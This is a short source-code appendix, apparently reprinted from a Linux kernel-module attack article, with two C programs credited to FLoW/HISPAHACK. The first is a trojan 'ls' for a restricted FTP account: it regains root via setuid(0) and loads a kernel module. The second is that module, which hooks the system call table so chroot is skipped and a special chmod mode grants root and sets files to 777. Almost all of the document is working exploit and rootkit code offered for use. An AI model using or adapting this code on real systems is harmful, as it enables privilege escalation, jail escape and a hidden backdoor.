附录(源码)
CHROOT module trick
NAME : chr.c
AUTHOR : FLoW/HISPAHACK
DESCRIPTION : The first source represents the ls 'trojan'. The second
one represents the actual module which is doing the chroot trick.
LINK : http://hispahack.ccc.de
/*LS 'TROJAN'*/
/* Sustituto para el "ls" de un ftp restringido.
* Carga el modulo del kernel chr.o
* FLoW - !H'98
*/
#include <stdio.h>
#include <sys/wait.h>
main()
{
int estado;
printf("UID: %i EUID: %i\n",getuid(),geteuid());
printf("Cambiando EUID...\n");
setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0
*/
printf("UID: %i EUID: %i\n",getuid(),geteuid());
switch(fork())
{
case -1: printf("Error creando hijo.\n");
case 0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
printf("Error ejecutando insmod.\n");
exit(1);
default: printf("Cargando modulo chroot...\n");
wait(&estado);
if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)
printf("Modulo cargado!\n");
else
printf("Error cargando modulo.\n");
break;
}
}
/* Modulo del kernel para anular un chroot() y "retocar" chmod()
* FLoW - !H'98
* Basado en heroin.c de Runar Jensen <zarq@opaque.org>
*/
#include <linux/fs.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <stdlib.h>
static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
static inline _syscall1(int, setuid, uid_t, uid);
extern void *sys_call_table[];
int (*original_chroot)(const char *, const char*);
int (*original_chmod)(const char *, mode_t);
int (*original_setuid)(uid_t);
int hacked_chmod(const char *path, mode_t mode)
{
int err;
if(mode==83) { /* chmod 123 XXX */
(*original_setuid)(0);
err=(*original_chmod)(path, 511); /* chmod 777 XXX */
}
else {
err=(*original_chmod)(path, mode);
}
return(err);
}
int hacked_chroot(const char *path, const char *cmd)
{
return(0);
}
int init_module(void)
{
original_setuid = sys_call_table[SYS_setuid];
original_chroot = sys_call_table[SYS_chroot];
sys_call_table[SYS_chroot] = hacked_chroot;
original_chmod = sys_call_table[SYS_chmod];
sys_call_table[SYS_chmod] = hacked_chmod;
return(0);
}
void cleanup_module(void)
{
sys_call_table[SYS_chroot] = original_chroot;
sys_call_table[SYS_chmod] = original_chmod;
}
摘自《赛迪网》 pragmatic/THC,(版本1.0)/文
|
|